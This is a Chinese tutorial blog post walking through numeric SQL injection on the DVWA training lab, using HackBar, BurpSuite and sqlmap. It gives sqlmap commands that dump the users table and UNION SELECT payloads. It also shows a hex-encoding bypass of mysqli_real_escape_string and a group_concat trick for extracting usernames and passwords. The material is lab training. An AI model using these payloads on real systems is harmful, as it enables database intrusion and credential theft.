【精选优质专栏推荐】
- 《AI 技术前沿》 —— 紧跟 AI 最新趋势与应用
- 《网络安全新手快速入门(附漏洞挖掘案例)》 —— 零基础安全入门必看
- 《BurpSuite 入门教程(附实战图文)》 —— 渗透测试必备工具详解
- 《网安渗透工具使用教程(全)》 —— 一站式工具手册
- 《CTF 新手入门实战教程》 —— 从题目讲解到实战技巧
- 《前后端项目开发(新手必知必会)》 —— 实战驱动快速上手
每个专栏均配有案例与图文讲解,循序渐进,适合新手与进阶学习者,欢迎订阅。
文章目录
SQL注入原理可参考:【网络安全】SQL注入原理及常见攻击方法简析
sqlmap注入方式可参考:【网络安全】以留言板项目渗透实例带你入门sqlmap
正文
提交用户名后URL并未产生参数的传输,结合页面源代码发现,该数据请求类型为POST请求。
判断漏洞类型
判断是否为数字型注入
- 使用hackbar进行POST:
id=1 and 1=1 &submit=submit回显如下:
再POST:id=1 and 1=2 &submit=submit 无任何回显
说明该漏洞类型为数字型注入漏洞
- 使用BurpSuite进行POST
先抓ID=1的数据包

在Repeater中修改ID参数为id=1 and 1=1 &Submit=Submit,回显如下:

再将ID参数修改为id=1 and 1=1 &Submit=Submit 无任何回显
说明该漏洞类型为数字型注入漏洞
判断注入点个数
提交参数id=1 and order by 4

说明注入点少于4个
不断尝试后得知注入点为2个
BurpSuite+sqlmap数字型注入
具体方式可参考:【网络安全】以留言板项目渗透实例带你入门sqlmap
将拦截包另存为1.txt,放在sqlmap目录下
注意:在sqlmap中不需要考虑注入点的个数
爆数据库名
输入python sqlmap.py -r 1.txt(文件名,下同) -p id(参数名,下同) --dbs

回显如下:

爆dvwa库的表名
输入python sqlmap.py -r 1.txt -p id -D dvwa(数据库名,下同) --tables

回显如下:

爆users表的列名
输入python sqlmap.py -r 1.txt -p id -D dvwa -T users(表名,下同) --columns

回显如下:

爆列中的字段
输入python sqlmap.py -r 1.txt -p id -D dvwa -T users -C user,password(列名) --dump

回显如下:

基于POST请求的sqlmap数字型注入
查看是否存在注入点
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"

回显如下:
故注入点存在
查询数据库名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs

回显如下:

查询dvwa库的表名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables

回显如下:

查询users表的列名
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users --columns

回显如下:

查询列中的字段
输入python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump

回显如下:

基于POST请求的BrupSuite数字型注入
注意:在使用BurpSuite进行sql注入时,需要考虑注入点个数
查询数据库名
输入1 union select database()#
回显如下:

可以看到 当sql语句中的注入点个数与判断出的注入点个数不相符时,攻击失败
输入1 union select 1,database()#
回显如下:

查询dvwa库的表名
输入1 union select 1,table_name from information_schema.tables where table_schema='dvwa'#
回显如下:

| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘dvwa’#’ at line 1 | 您的SQL语法有错误;查看与MySQL服务器版本相对应的手册,了解在第1行“‘dvwa’#'附近使用的正确语法 |
|---|
查看源代码:
这行代码使用了PHP内置的 mysqli_real_escape_string() 函数对 $id 变量进行转义处理,以防止 SQL 注入攻击。
例如,如果 $id 变量包含如下字符串:
O'qiushuo
则调用 mysqli_real_escape_string() 函数时,将返回如下字符串:
O\'qiushuo
这样可以保证在 SQL 查询语句中使用 $id 变量时,不会因为包含特殊字符而出现 SQL 注入攻击等问题。
针对特殊字符转义的编码绕过
在 Web 应用程序中,当用户在浏览器中提交表单时,浏览器会对数据进行 URL 编码,然后再将编码后的数据发送到后端服务器上。
可利用编码方式将SQL 语句和特殊字符进行编码,以绕过应用程序中的安全检查和转义机制。常见的编码方式包括十六进制编码、Unicode 编码、URL 编码等。
十六进制编码
dvwa经十六进制编码后变为64767761
修改以上语句为1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#
注意:要在64767761加上0x声明它为十六进制
得到两个表名,guestbook和users
Unicode编码
dvwa的Unicode编码为\u0064\u0076\u0077\u0061
由于mysql_real_escape_string() 函数转义了 \ 所以Unicode编码绕过失效
URL编码
网址规定了常用的数字、字母可以直接使用,另外一批作为特殊用户字符也可以直接用(如/ : @ '等),剩下的其它所有字符必须通过%xx编码处理。
由于字符串’dvwa’中所有的字符均不需要编码,所以URL编码绕过失效。
查询users表的列名
users的十六进制为7573657273
输入id=1 union select 1,column_name from information_schema.columns where table_name=0x7573657273#
回显如下:

查询列中的字段
输入id=1 union select user,password from users#
注意:由于注入点为两个,所以不能输入id=1 union select 1,user,password from users#,否则该语句认为注入点是三个。
回显如下:

回显技巧
1.注入成功后,可选择响应中的页面渲染功能,将回显注入后的页面,直观清晰。


2.group_concat函数
group_concat函数 是 MySQL 中的一个聚集函数,用于将指定列(或表达式)的值以逗号分隔的形式进行拼接。
举例如下:
输入id=1 union select 1,group_concat(user,password)from users#
回显:

该图比上图更为简洁明了。

被折叠的 条评论
为什么被折叠?



